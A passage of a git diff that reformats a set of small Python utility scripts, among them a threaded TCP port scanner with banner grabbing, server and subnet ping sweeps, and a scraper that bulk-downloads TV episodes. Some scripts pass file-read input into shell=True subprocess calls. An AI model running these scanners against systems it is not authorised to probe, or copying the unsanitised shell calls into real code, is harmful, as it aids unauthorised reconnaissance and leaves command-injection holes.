Translator() - translated = translator.translate(Text, dest='pa') - return translated.text +text_translator("I am fine") # english text remains constant -eng2punj_translator('Meet you soon') -def eng2beng_translator(Text): # english to bengali translator - translator = Translator() - translated = translator.translate(Text, dest='bn') - return translated.text +def eng2punj_translator(Text): # english to punjabi translator + translator = Translator() + translated = translator.translate(Text, dest="pa") + return translated.text -eng2beng_translator('So happy to see you') \ No newline at end of file + +eng2punj_translator("Meet you soon") + + +def eng2beng_translator(Text): # english to bengali translator + translator = Translator() + translated = translator.translate(Text, dest="bn") + return translated.text + + +eng2beng_translator("So happy to see you") diff --git a/ph_email.py b/ph_email.py index 5f16050a5c6..8656d489ce2 100755 --- a/ph_email.py +++ b/ph_email.py @@ -15,15 +15,19 @@ # ten numbers # word boundary -find_phone = re.compile(r'''\b +find_phone = re.compile( + r"""\b (\+?91|0)? \ ? (\d{10}) \b - ''', re.X) + """, + re.X, +) # email regex source : http://www.regexlib.com/REDetails.aspx?regexp_id=26 -find_email = re.compile(r'''( +find_email = re.compile( + r"""( ([a-zA-Z0-9_\-\.]+) @ ((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.) @@ -32,7 +36,9 @@ ([a-zA-Z]{2,4}|[0-9]{1,3}) (\]?) ) - ''', re.X) + """, + re.X, +) text = pyperclip.paste() # retrieve text from clipboard @@ -53,7 +59,7 @@ # if matches are found add then to file if len(matches): - with open('matches.txt', 'a') as file: + with open("matches.txt", "a") as file: for match in matches: file.write(match) - file.write('\n') + file.write("\n") diff --git a/ping_servers.py b/ping_servers.py index 5ed6b95fb20..bce734e45e9 100644 --- a/ping_servers.py +++ b/ping_servers.py @@ -14,23 +14,31 @@ # servers associated with that application group. filename = sys.argv[0] # Sets a variable for the script name -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # Help Menu if called - print(''' +if ( + "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv +): # Help Menu if called + print( + """ You need to supply the application group for the servers you want to ping, i.e. dms swaps Followed by the site i.e. 155 - bromley''') + bromley""" + ) sys.exit(0) else: - if len(sys.argv) < 3: # If no arguments are passed,display the help/instructions on how to run the script + if ( + len(sys.argv) < 3 + ): # If no arguments are passed,display the help/instructions on how to run the script sys.exit( - '\nYou need to supply the app group. Usage : ' + filename + - ' followed by the application group i.e. \n \t dms or \n \t swaps \n ' - 'then the site i.e. \n \t 155 or \n \t bromley') + "\nYou need to supply the app group. Usage : " + + filename + + " followed by the application group i.e. \n \t dms or \n \t swaps \n " + "then the site i.e. \n \t 155 or \n \t bromley" + ) appgroup = sys.argv[1] # Set the variable appgroup as the first argument you supply site = sys.argv[2] # Set the variable site as the second argument you supply @@ -40,31 +48,44 @@ elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then myping = "ping -n 2 " # This is the ping command - if 'dms' in sys.argv: # If the argument passed is dms then - appgroup = 'dms' # Set the variable appgroup to dms - elif 'swaps' in sys.argv: # Else if the argment passed is swaps then - appgroup = 'swaps' # Set the variable appgroup to swaps + if "dms" in sys.argv: # If the argument passed is dms then + appgroup = "dms" # Set the variable appgroup to dms + elif "swaps" in sys.argv: # Else if the argment passed is swaps then + appgroup = "swaps" # Set the variable appgroup to swaps - if '155' in sys.argv: # If the argument passed is 155 then - site = '155' # Set the variable site to 155 - elif 'bromley' in sys.argv: # Else if the argument passed is bromley - site = 'bromley' # Set the variable site to bromley + if "155" in sys.argv: # If the argument passed is 155 then + site = "155" # Set the variable site to 155 + elif "bromley" in sys.argv: # Else if the argument passed is bromley + site = "bromley" # Set the variable site to bromley logdir = os.getenv("logs") # Set the variable logdir by getting the OS environment logs -logfile = 'ping_' + appgroup + '_' + site + '.log' # Set the variable logfile, using the arguments passed to create the logfile -logfilename = os.path.join(logdir, logfile) # Set the variable logfilename by joining logdir and logfile together -confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable - 1.2 -conffile = (appgroup + '_servers_' + site + '.txt') # Set the variable conffile - 1.2 -conffilename = os.path.join(confdir, - conffile) # Set the variable conffilename by joining confdir and conffile together - 1.2 +logfile = ( + "ping_" + appgroup + "_" + site + ".log" +) # Set the variable logfile, using the arguments passed to create the logfile +logfilename = os.path.join( + logdir, logfile +) # Set the variable logfilename by joining logdir and logfile together +confdir = os.getenv( + "my_config" +) # Set the variable confdir from the OS environment variable - 1.2 +conffile = appgroup + "_servers_" + site + ".txt" # Set the variable conffile - 1.2 +conffilename = os.path.join( + confdir, conffile +) # Set the variable conffilename by joining confdir and conffile together - 1.2 f = open(logfilename, "w") # Open a logfile to write out the output for server in open(conffilename): # Open the config file and read each line - 1.2 - ret = subprocess.call(myping + server, shell=True, stdout=f, - stderr=subprocess.STDOUT) # Run the ping command for each server in the list. + ret = subprocess.call( + myping + server, shell=True, stdout=f, stderr=subprocess.STDOUT + ) # Run the ping command for each server in the list. if ret == 0: # Depending on the response - f.write(server.strip() + " is alive" + "\n") # Write out that you can receive a reponse + f.write( + server.strip() + " is alive" + "\n" + ) # Write out that you can receive a reponse else: - f.write(server.strip() + " did not respond" + "\n") # Write out you can't reach the box + f.write( + server.strip() + " did not respond" + "\n" + ) # Write out you can't reach the box -print("\n\tYou can see the results in the logfile : " + logfilename); # Show the location of the logfile +print("\n\tYou can see the results in the logfile : " + logfilename) +# Show the location of the logfile diff --git a/ping_subnet.py b/ping_subnet.py index 78c35324b84..e8eb28d933f 100644 --- a/ping_subnet.py +++ b/ping_subnet.py @@ -14,15 +14,26 @@ filename = sys.argv[0] # Sets a variable for the script name -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # Help Menu if called - print(''' -You need to supply the first octets of the address Usage : ''' + filename + ''' 111.111.111 ''') +if ( + "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv +): # Help Menu if called + print( + """ +You need to supply the first octets of the address Usage : """ + + filename + + """ 111.111.111 """ + ) sys.exit(0) else: - if (len( - sys.argv) < 2): # If no arguments are passed then display the help and instructions on how to run the script - sys.exit(' You need to supply the first octets of the address Usage : ' + filename + ' 111.111.111') + if ( + len(sys.argv) < 2 + ): # If no arguments are passed then display the help and instructions on how to run the script + sys.exit( + " You need to supply the first octets of the address Usage : " + + filename + + " 111.111.111" + ) subnet = sys.argv[1] # Set the variable subnet as the three octets you pass it @@ -31,11 +42,19 @@ elif os.name in ("nt", "dos", "ce"): # Check the os, if it's windows then myping = "ping -n 2 " # This is the ping command - f = open('ping_' + subnet + '.log', 'w') # Open a logfile + f = open("ping_" + subnet + ".log", "w") # Open a logfile for ip in range(2, 255): # Set the ip variable for the range of numbers - ret = subprocess.call(myping + str(subnet) + "." + str(ip), - shell=True, stdout=f, stderr=subprocess.STDOUT) # Run the command pinging the servers + ret = subprocess.call( + myping + str(subnet) + "." + str(ip), + shell=True, + stdout=f, + stderr=subprocess.STDOUT, + ) # Run the command pinging the servers if ret == 0: # Depending on the response - f.write(subnet + "." + str(ip) + " is alive" + "\n") # Write out that you can receive a reponse + f.write( + subnet + "." + str(ip) + " is alive" + "\n" + ) # Write out that you can receive a reponse else: - f.write(subnet + "." + str(ip) + " did not respond" + "\n") # Write out you can't reach the box + f.write( + subnet + "." + str(ip) + " did not respond" + "\n" + ) # Write out you can't reach the box diff --git a/portscanner.py b/portscanner.py index f90c063cea8..78fcde14a26 100644 --- a/portscanner.py +++ b/portscanner.py @@ -19,14 +19,14 @@ def connScan(tgtHost, tgtPort): # Start of the function try: connSkt = socket(AF_INET, SOCK_STREAM) # Open a socket connSkt.connect((tgtHost, tgtPort)) - connSkt.send('') + connSkt.send("") results = connSkt.recv(100) screenLock.acquire() # Acquire the lock - print('[+] %d/tcp open' % tgtPort) - print('[+] ' + str(results)) + print("[+] %d/tcp open" % tgtPort) + print("[+] " + str(results)) except: screenLock.acquire() - print('[-] %d/tcp closed ' % tgtPort) + print("[-] %d/tcp closed " % tgtPort) finally: screenLock.release() connSkt.close() @@ -40,9 +40,9 @@ def portScan(tgtHost, tgtPorts): # Start of the function return try: tgtName = gethostbyaddr(tgtIP) # Get hostname from IP - print('\n[+] Scan Results for: ' + tgtName[0]) + print("\n[+] Scan Results for: " + tgtName[0]) except: - print('\n[+] Scan Results for: ' + tgtIP) + print("\n[+] Scan Results for: " + tgtIP) setdefaulttimeout(1) for tgtPort in tgtPorts: # Scan host and ports t = Thread(target=connScan, args=(tgtHost, int(tgtPort))) @@ -50,17 +50,22 @@ def portScan(tgtHost, tgtPorts): # Start of the function def main(): - parser = optparse.OptionParser('usage %prog -H' + ' -p ') - parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') - parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] seperated by a comma') + parser = optparse.OptionParser("usage %prog -H" + " -p ") + parser.add_option("-H", dest="tgtHost", type="string", help="specify target host") + parser.add_option( + "-p", + dest="tgtPort", + type="string", + help="specify target port[s] seperated by a comma", + ) (options, args) = parser.parse_args() tgtHost = options.tgtHost - tgtPorts = str(options.tgtPort).split(',') + tgtPorts = str(options.tgtPort).split(",") if (tgtHost == None) | (tgtPorts[0] == None): print(parser.usage) exit(0) portScan(tgtHost, tgtPorts) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/positiveNegetive.py b/positiveNegetive.py index 86e62d15ee2..ffbc13794a6 100644 --- a/positiveNegetive.py +++ b/positiveNegetive.py @@ -1,5 +1,5 @@ -n=int(input("Enter number: ")) -if(n>0): +n = int(input("Enter number: ")) +if n > 0: print("Number is positive") else: print("Number is negative") diff --git a/power_of_two.py b/power_of_two.py index 7d4a5f3bacf..fd666e270b5 100755 --- a/power_of_two.py +++ b/power_of_two.py @@ -1,4 +1,4 @@ -# Simple and efficient python program to check whether a number is series of power of two +# Simple and efficient python program to check whether a number is series of power of two # Example: # Input: # 8 diff --git a/powerdown_startup.py b/powerdown_startup.py index 4c11ba7aeb3..7ce5f163c69 100644 --- a/powerdown_startup.py +++ b/powerdown_startup.py @@ -4,7 +4,7 @@ # Last Modified : 21th September 2017 # Version : 1.0 -# Modifications : +# Modifications : # Description : This goes through the server list and pings the machine, if it's up it will load the putty session, if its not it will notify you. @@ -14,25 +14,39 @@ def windows(): # This is the function to run if it detects the OS is windows. - f = open('server_startup_' + strftime("%Y-%m-%d") + '.log', 'a') # Open the logfile - for server in open('startup_list.txt', 'r'): # Read the list of servers from the list - ret = subprocess.call("ping -n 3 %s" % server, shell=True, stdout=open('NUL', 'w'), - stderr=subprocess.STDOUT) # Ping the servers in turn + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open( + "startup_list.txt", "r" + ): # Read the list of servers from the list + ret = subprocess.call( + "ping -n 3 %s" % server, + shell=True, + stdout=open("NUL", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn if ret == 0: # If you get a response. - f.write("%s: is alive, loading PuTTY session" % server.strip() + "\n") # Write out to the logfile - subprocess.Popen(('putty -load ' + server)) # Load the putty session + f.write( + "%s: is alive, loading PuTTY session" % server.strip() + "\n" + ) # Write out to the logfile + subprocess.Popen(("putty -load " + server)) # Load the putty session else: - f.write("%s : did not respond" % server.strip() + "\n") # Write to the logfile if the server is down + f.write( + "%s : did not respond" % server.strip() + "\n" + ) # Write to the logfile if the server is down def linux(): - f = open('server_startup_' + strftime("%Y-%m-%d") + '.log', 'a') # Open the logfile - for server in open('startup_list.txt'): # Read the list of servers from the list - ret = subprocess.call("ping -c 3 %s" % server, shell=True, stdout=open('/dev/null', 'w'), - stderr=subprocess.STDOUT) # Ping the servers in turn + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open("startup_list.txt"): # Read the list of servers from the list + ret = subprocess.call( + "ping -c 3 %s" % server, + shell=True, + stdout=open("/dev/null", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn if ret == 0: # If you get a response. f.write("%s: is alive" % server.strip() + "\n") # Print a message - subprocess.Popen(['ssh', server.strip()]) + subprocess.Popen(["ssh", server.strip()]) else: f.write("%s: did not respond" % server.strip() + "\n") diff --git a/powerup_checks.py b/powerup_checks.py index a8746c3c5ec..b29cd43ba61 100644 --- a/powerup_checks.py +++ b/powerup_checks.py @@ -14,59 +14,82 @@ # Modifications : # Description : Creates an output file by pulling all the servers for the given site from SQLITE database, then goes through the list pinging the servers to see if they are up on the network -dropbox = os.getenv("dropbox") # Set the variable, by getting the value of the variable from the OS -config = os.getenv("my_config") # Set the variable, by getting the value of the variable from the OS -dbfile = ("Databases/jarvis.db") # Set the variable to the database -master_db = os.path.join(dropbox, dbfile) # Create the variable by linking the path and the file -listfile = ("startup_list.txt") # File that will hold the servers -serverfile = os.path.join(config, listfile) # Create the variable by linking the path and the file -outputfile = ('server_startup_' + strftime("%Y-%m-%d-%H-%M") + '.log') +dropbox = os.getenv( + "dropbox" +) # Set the variable, by getting the value of the variable from the OS +config = os.getenv( + "my_config" +) # Set the variable, by getting the value of the variable from the OS +dbfile = "Databases/jarvis.db" # Set the variable to the database +master_db = os.path.join( + dropbox, dbfile +) # Create the variable by linking the path and the file +listfile = "startup_list.txt" # File that will hold the servers +serverfile = os.path.join( + config, listfile +) # Create the variable by linking the path and the file +outputfile = "server_startup_" + strftime("%Y-%m-%d-%H-%M") + ".log" # Below is the help text -text = ''' +text = """ You need to pass an argument, the options the script expects is -site1 For the Servers relating to site1 - -site2 For the Servers located in site2''' + -site2 For the Servers located in site2""" def windows(): # This is the function to run if it detects the OS is windows. - f = open(outputfile, 'a') # Open the logfile - for server in open(serverfile, 'r'): # Read the list of servers from the list + f = open(outputfile, "a") # Open the logfile + for server in open(serverfile, "r"): # Read the list of servers from the list # ret = subprocess.call("ping -n 3 %s" % server.strip(), shell=True,stdout=open('NUL', 'w'),stderr=subprocess.STDOUT) # Ping the servers in turn - ret = subprocess.call("ping -n 3 %s" % server.strip(), stdout=open('NUL', 'w'), - stderr=subprocess.STDOUT) # Ping the servers in turn + ret = subprocess.call( + "ping -n 3 %s" % server.strip(), + stdout=open("NUL", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn if ret == 0: # Depending on the response - f.write("%s: is alive" % server.strip().ljust(15) + "\n") # Write out to the logfile is the server is up + f.write( + "%s: is alive" % server.strip().ljust(15) + "\n" + ) # Write out to the logfile is the server is up else: f.write( - "%s: did not respond" % server.strip().ljust(15) + "\n") # Write to the logfile if the server is down + "%s: did not respond" % server.strip().ljust(15) + "\n" + ) # Write to the logfile if the server is down def linux(): # This is the function to run if it detects the OS is nix. - f = open('server_startup_' + strftime("%Y-%m-%d") + '.log', 'a') # Open the logfile - for server in open(serverfile, 'r'): # Read the list of servers from the list - ret = subprocess.call("ping -c 3 %s" % server, shell=True, stdout=open('/dev/null', 'w'), - stderr=subprocess.STDOUT) # Ping the servers in turn + f = open("server_startup_" + strftime("%Y-%m-%d") + ".log", "a") # Open the logfile + for server in open(serverfile, "r"): # Read the list of servers from the list + ret = subprocess.call( + "ping -c 3 %s" % server, + shell=True, + stdout=open("/dev/null", "w"), + stderr=subprocess.STDOUT, + ) # Ping the servers in turn if ret == 0: # Depending on the response - f.write("%s: is alive" % server.strip().ljust(15) + "\n") # Write out to the logfile is the server is up + f.write( + "%s: is alive" % server.strip().ljust(15) + "\n" + ) # Write out to the logfile is the server is up else: f.write( - "%s: did not respond" % server.strip().ljust(15) + "\n") # Write to the logfile if the server is down + "%s: did not respond" % server.strip().ljust(15) + "\n" + ) # Write to the logfile if the server is down def get_servers(query): # Function to get the servers from the database conn = sqlite3.connect(master_db) # Connect to the database cursor = conn.cursor() # Create the cursor - cursor.execute('select hostname from tp_servers where location =?', (query,)) # SQL Statement - print('\nDisplaying Servers for : ' + query + '\n') + cursor.execute( + "select hostname from tp_servers where location =?", (query,) + ) # SQL Statement + print("\nDisplaying Servers for : " + query + "\n") while True: # While there are results row = cursor.fetchone() # Return the results if row == None: break - f = open(serverfile, 'a') # Open the serverfile + f = open(serverfile, "a") # Open the serverfile f.write("%s\n" % str(row[0])) # Write the server out to the file print(row[0]) # Display the server to the screen f.close() # Close the file @@ -80,16 +103,25 @@ def main(): # Main Function print(text) # Display the help text if there isn't one passed sys.exit() # Exit the script - if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # If the ask for help + if ( + "-h" in sys.argv + or "--h" in sys.argv + or "-help" in sys.argv + or "--help" in sys.argv + ): # If the ask for help print(text) # Display the help text if there isn't one passed sys.exit(0) # Exit the script after displaying help else: - if sys.argv[1].lower().startswith('-site1'): # If the argument is site1 - query = 'site1' # Set the variable to have the value site - elif sys.argv[1].lower().startswith('-site2'): # Else if the variable is bromley - query = 'site2' # Set the variable to have the value bromley + if sys.argv[1].lower().startswith("-site1"): # If the argument is site1 + query = "site1" # Set the variable to have the value site + elif ( + sys.argv[1].lower().startswith("-site2") + ): # Else if the variable is bromley + query = "site2" # Set the variable to have the value bromley else: - print('\n[-] Unknown option [-] ' + text) # If an unknown option is passed, let the user know + print( + "\n[-] Unknown option [-] " + text + ) # If an unknown option is passed, let the user know sys.exit(0) get_servers(query) # Call the get servers funtion, with the value from the argument @@ -98,8 +130,10 @@ def main(): # Main Function elif os.name in ("nt", "dos", "ce"): # If the OS is Windows... windows() # Call the windows function - print('\n[+] Check the log file ' + outputfile + ' [+]\n') # Display the name of the log + print( + "\n[+] Check the log file " + outputfile + " [+]\n" + ) # Display the name of the log -if __name__ == '__main__': +if __name__ == "__main__": main() # Call the main function diff --git a/primelib/primelib.py b/primelib/primelib.py index 00d31ad049a..65856679561 100644 --- a/primelib/primelib.py +++ b/primelib/primelib.py @@ -47,6 +47,7 @@ def pi(maxK=70, prec=1008, disp=1007): disp: number of decimal places shown """ from decimal import Decimal as Dec, getcontext as gc + gc().prec = prec K, M, L, X, S = 6, 1, 13591409, 1, 13591409 for k in range(1, maxK + 1): @@ -62,17 +63,18 @@ def pi(maxK=70, prec=1008, disp=1007): def isPrime(number): """ - input: positive integer 'number' - returns true if 'number' is prime otherwise false. + input: positive integer 'number' + returns true if 'number' is prime otherwise false. """ # precondition - assert isinstance(number, int) and (number >= 0), \ - "'number' must been an int and positive" + assert isinstance(number, int) and ( + number >= 0 + ), "'number' must been an int and positive" - # 0 and 1 are none primes. + # 0 and 1 are none primes. if number <= 3: - return number > 1 + return number > 1 elif number % 2 == 0 or number % 3 == 0: return False @@ -84,16 +86,18 @@ def isPrime(number): return True + # ------------------------------------------ + def sieveEr(N): """ - input: positive integer 'N' > 2 - returns a list of prime numbers from 2 up to N. - - This function implements the algorithm called - sieve of erathostenes. - + input: positive integer 'N' > 2 + returns a list of prime numbers from 2 up to N. + + This function implements the algorithm called + sieve of erathostenes. + """ from math import sqrt @@ -103,11 +107,11 @@ def sieveEr(N): primes = [True for x in range(N + 1)] for p in range(2, int(sqrt(N)) + 1): - if (primes[p]): - for i in range(p*p, N + 1, p): + if primes[p]: + for i in range(p * p, N + 1, p): primes[i] = False - primes[0]=False - primes[1]=False + primes[0] = False + primes[1] = False ret = [] for p in range(N + 1): if primes[p]: @@ -118,11 +122,12 @@ def sieveEr(N): # -------------------------------- + def getPrimeNumbers(N): """ - input: positive integer 'N' > 2 - returns a list of prime numbers from 2 up to N (inclusive) - This function is more efficient as function 'sieveEr(...)' + input: positive integer 'N' > 2 + returns a list of prime numbers from 2 up to N (inclusive) + This function is more efficient as function 'sieveEr(...)' """ # precondition @@ -130,7 +135,7 @@ def getPrimeNumbers(N): ans = [] - # iterates over all numbers between 2 up to N+1 + # iterates over all numbers between 2 up to N+1 # if a number is prime then appends to list 'ans' for number in range(2, N + 1): @@ -145,15 +150,15 @@ def getPrimeNumbers(N): # ----------------------------------------- + def primeFactorization(number): """ - input: positive integer 'number' - returns a list of the prime number factors of 'number' + input: positive integer 'number' + returns a list of the prime number factors of 'number' """ # precondition - assert isinstance(number, int) and number >= 0, \ - "'number' must been an int and >= 0" + assert isinstance(number, int) and number >= 0, "'number' must been an int and >= 0" ans = [] # this list will be returns of the function. @@ -167,10 +172,10 @@ def primeFactorization(number): ans.append(number) - # if 'number' not prime then builds the prime factorization of 'number' + # if 'number' not prime then builds the prime factorization of 'number' elif not isPrime(number): - while (quotient != 1): + while quotient != 1: if isPrime(factor) and (quotient % factor == 0): ans.append(factor) @@ -189,15 +194,17 @@ def primeFactorization(number): # ----------------------------------------- + def greatestPrimeFactor(number): """ - input: positive integer 'number' >= 0 - returns the greatest prime number factor of 'number' + input: positive integer 'number' >= 0 + returns the greatest prime number factor of 'number' """ # precondition - assert isinstance(number, int) and (number >= 0), \ - "'number' bust been an int and >= 0" + assert isinstance(number, int) and ( + number >= 0 + ), "'number' bust been an int and >= 0" ans = 0 @@ -217,13 +224,14 @@ def greatestPrimeFactor(number): def smallestPrimeFactor(number): """ - input: integer 'number' >= 0 - returns the smallest prime number factor of 'number' + input: integer 'number' >= 0 + returns the smallest prime number factor of 'number' """ # precondition - assert isinstance(number, int) and (number >= 0), \ - "'number' bust been an int and >= 0" + assert isinstance(number, int) and ( + number >= 0 + ), "'number' bust been an int and >= 0" ans = 0 @@ -240,10 +248,11 @@ def smallestPrimeFactor(number): # ---------------------- + def isEven(number): """ - input: integer 'number' - returns true if 'number' is even, otherwise false. + input: integer 'number' + returns true if 'number' is even, otherwise false. """ # precondition @@ -255,10 +264,11 @@ def isEven(number): # ------------------------ + def isOdd(number): """ - input: integer 'number' - returns true if 'number' is odd, otherwise false. + input: integer 'number' + returns true if 'number' is odd, otherwise false. """ # precondition @@ -273,14 +283,15 @@ def isOdd(number): def goldbach(number): """ - Goldbach's assumption - input: a even positive integer 'number' > 2 - returns a list of two prime numbers whose sum is equal to 'number' + Goldbach's assumption + input: a even positive integer 'number' > 2 + returns a list of two prime numbers whose sum is equal to 'number' """ # precondition - assert isinstance(number, int) and (number > 2) and isEven(number), \ - "'number' must been an int, even and > 2" + assert ( + isinstance(number, int) and (number > 2) and isEven(number) + ), "'number' must been an int, even and > 2" ans = [] # this list will returned @@ -295,42 +306,50 @@ def goldbach(number): # exit variable. for break up the loops loop = True - while (i < lenPN and loop): + while i < lenPN and loop: - j = i + 1; + j = i + 1 - while (j < lenPN and loop): + while j < lenPN and loop: if primeNumbers[i] + primeNumbers[j] == number: loop = False ans.append(primeNumbers[i]) ans.append(primeNumbers[j]) - j += 1; + j += 1 i += 1 # precondition - assert isinstance(ans, list) and (len(ans) == 2) and \ - (ans[0] + ans[1] == number) and isPrime(ans[0]) and isPrime(ans[1]), \ - "'ans' must contains two primes. And sum of elements must been eq 'number'" + assert ( + isinstance(ans, list) + and (len(ans) == 2) + and (ans[0] + ans[1] == number) + and isPrime(ans[0]) + and isPrime(ans[1]) + ), "'ans' must contains two primes. And sum of elements must been eq 'number'" return ans # ---------------------------------------------- + def gcd(number1, number2): """ - Greatest common divisor - input: two positive integer 'number1' and 'number2' - returns the greatest common divisor of 'number1' and 'number2' + Greatest common divisor + input: two positive integer 'number1' and 'number2' + returns the greatest common divisor of 'number1' and 'number2' """ # precondition - assert isinstance(number1, int) and isinstance(number2, int) \ - and (number1 >= 0) and (number2 >= 0), \ - "'number1' and 'number2' must been positive integer." + assert ( + isinstance(number1, int) + and isinstance(number2, int) + and (number1 >= 0) + and (number2 >= 0) + ), "'number1' and 'number2' must been positive integer." rest = 0 @@ -340,25 +359,30 @@ def gcd(number1, number2): number2 = rest # precondition - assert isinstance(number1, int) and (number1 >= 0), \ - "'number' must been from type int and positive" + assert isinstance(number1, int) and ( + number1 >= 0 + ), "'number' must been from type int and positive" return number1 # ---------------------------------------------------- + def kgV(number1, number2): """ - Least common multiple - input: two positive integer 'number1' and 'number2' - returns the least common multiple of 'number1' and 'number2' + Least common multiple + input: two positive integer 'number1' and 'number2' + returns the least common multiple of 'number1' and 'number2' """ # precondition - assert isinstance(number1, int) and isinstance(number2, int) \ - and (number1 >= 1) and (number2 >= 1), \ - "'number1' and 'number2' must been positive integer." + assert ( + isinstance(number1, int) + and isinstance(number2, int) + and (number1 >= 1) + and (number2 >= 1) + ), "'number1' and 'number2' must been positive integer." ans = 1 # actual answer that will be return. @@ -415,19 +439,21 @@ def kgV(number1, number2): done.append(n) # precondition - assert isinstance(ans, int) and (ans >= 0), \ - "'ans' must been from type int and positive" + assert isinstance(ans, int) and ( + ans >= 0 + ), "'ans' must been from type int and positive" return ans # ---------------------------------- + def getPrime(n): """ - Gets the n-th prime number. - input: positive integer 'n' >= 0 - returns the n-th prime number, beginning at index 0 + Gets the n-th prime number. + input: positive integer 'n' >= 0 + returns the n-th prime number, beginning at index 0 """ # precondition @@ -443,37 +469,40 @@ def getPrime(n): ans += 1 # counts to the next number # if ans not prime then - # runs to the next prime number. + # runs to the next prime number. while not isPrime(ans): ans += 1 # precondition - assert isinstance(ans, int) and isPrime(ans), \ - "'ans' must been a prime number and from type int" + assert isinstance(ans, int) and isPrime( + ans + ), "'ans' must been a prime number and from type int" return ans # --------------------------------------------------- + def getPrimesBetween(pNumber1, pNumber2): """ - input: prime numbers 'pNumber1' and 'pNumber2' - pNumber1 < pNumber2 - returns a list of all prime numbers between 'pNumber1' (exclusiv) - and 'pNumber2' (exclusiv) + input: prime numbers 'pNumber1' and 'pNumber2' + pNumber1 < pNumber2 + returns a list of all prime numbers between 'pNumber1' (exclusiv) + and 'pNumber2' (exclusiv) """ # precondition - assert isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2), \ - "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" + assert ( + isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2) + ), "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" number = pNumber1 + 1 # jump to the next number ans = [] # this list will be returns. # if number is not prime then - # fetch the next prime number. + # fetch the next prime number. while not isPrime(number): number += 1 @@ -483,14 +512,14 @@ def getPrimesBetween(pNumber1, pNumber2): number += 1 - # fetch the next prime number. + # fetch the next prime number. while not isPrime(number): number += 1 # precondition - assert isinstance(ans, list) and ans[0] != pNumber1 \ - and ans[len(ans) - 1] != pNumber2, \ - "'ans' must been a list without the arguments" + assert ( + isinstance(ans, list) and ans[0] != pNumber1 and ans[len(ans) - 1] != pNumber2 + ), "'ans' must been a list without the arguments" # 'ans' contains not 'pNumber1' and 'pNumber2' ! return ans @@ -498,10 +527,11 @@ def getPrimesBetween(pNumber1, pNumber2): # ---------------------------------------------------- + def getDivisors(n): """ - input: positive integer 'n' >= 1 - returns all divisors of n (inclusive 1 and 'n') + input: positive integer 'n' >= 1 + returns all divisors of n (inclusive 1 and 'n') """ # precondition @@ -515,8 +545,7 @@ def getDivisors(n): ans.append(divisor) # precondition - assert ans[0] == 1 and ans[len(ans) - 1] == n, \ - "Error in function getDivisiors(...)" + assert ans[0] == 1 and ans[len(ans) - 1] == n, "Error in function getDivisiors(...)" return ans @@ -526,20 +555,23 @@ def getDivisors(n): def isPerfectNumber(number): """ - input: positive integer 'number' > 1 - returns true if 'number' is a perfect number otherwise false. + input: positive integer 'number' > 1 + returns true if 'number' is a perfect number otherwise false. """ # precondition - assert isinstance(number, int) and (number > 1), \ - "'number' must been an int and >= 1" + assert isinstance(number, int) and ( + number > 1 + ), "'number' must been an int and >= 1" divisors = getDivisors(number) # precondition - assert isinstance(divisors, list) and (divisors[0] == 1) and \ - (divisors[len(divisors) - 1] == number), \ - "Error in help-function getDivisiors(...)" + assert ( + isinstance(divisors, list) + and (divisors[0] == 1) + and (divisors[len(divisors) - 1] == number) + ), "Error in help-function getDivisiors(...)" # summed all divisors up to 'number' (exclusive), hence [:-1] return sum(divisors[:-1]) == number @@ -547,35 +579,41 @@ def isPerfectNumber(number): # ------------------------------------------------------------ + def simplifyFraction(numerator, denominator): """ - input: two integer 'numerator' and 'denominator' - assumes: 'denominator' != 0 - returns: a tuple with simplify numerator and denominator. + input: two integer 'numerator' and 'denominator' + assumes: 'denominator' != 0 + returns: a tuple with simplify numerator and denominator. """ # precondition - assert isinstance(numerator, int) and isinstance(denominator, int) \ - and (denominator != 0), \ - "The arguments must been from type int and 'denominator' != 0" + assert ( + isinstance(numerator, int) + and isinstance(denominator, int) + and (denominator != 0) + ), "The arguments must been from type int and 'denominator' != 0" # build the greatest common divisor of numerator and denominator. gcdOfFraction = gcd(abs(numerator), abs(denominator)) # precondition - assert isinstance(gcdOfFraction, int) and (numerator % gcdOfFraction == 0) \ - and (denominator % gcdOfFraction == 0), \ - "Error in function gcd(...,...)" + assert ( + isinstance(gcdOfFraction, int) + and (numerator % gcdOfFraction == 0) + and (denominator % gcdOfFraction == 0) + ), "Error in function gcd(...,...)" return (numerator // gcdOfFraction, denominator // gcdOfFraction) # ----------------------------------------------------------------- + def factorial(n): """ - input: positive integer 'n' - returns the factorial of 'n' (n!) + input: positive integer 'n' + returns the factorial of 'n' (n!) """ # precondition @@ -591,10 +629,11 @@ def factorial(n): # ------------------------------------------------------------------- + def fib(n): """ - input: positive integer 'n' - returns the n-th fibonacci term , indexing by 0 + input: positive integer 'n' + returns the n-th fibonacci term , indexing by 0 """ # precondition diff --git a/prison_break_scrapper.py b/prison_break_scrapper.py index 97b34cb942f..ad50636cd6a 100644 --- a/prison_break_scrapper.py +++ b/prison_break_scrapper.py @@ -8,35 +8,28 @@ import requests as req from bs4 import BeautifulSoup as bs -BASE_URL = 'http://dl.funsaber.net/serial/Prison%20Break/season%20' +BASE_URL = "http://dl.funsaber.net/serial/Prison%20Break/season%20" def download_files(links, idx): for link in links: - subprocess.call([ - "aria2c", - "-s", - "16", - "-x", - "16", - "-d", - "season" + str(idx), - link - ]) + subprocess.call( + ["aria2c", "-s", "16", "-x", "16", "-d", "season" + str(idx), link] + ) def main(): for i in range(1, 5): - r = 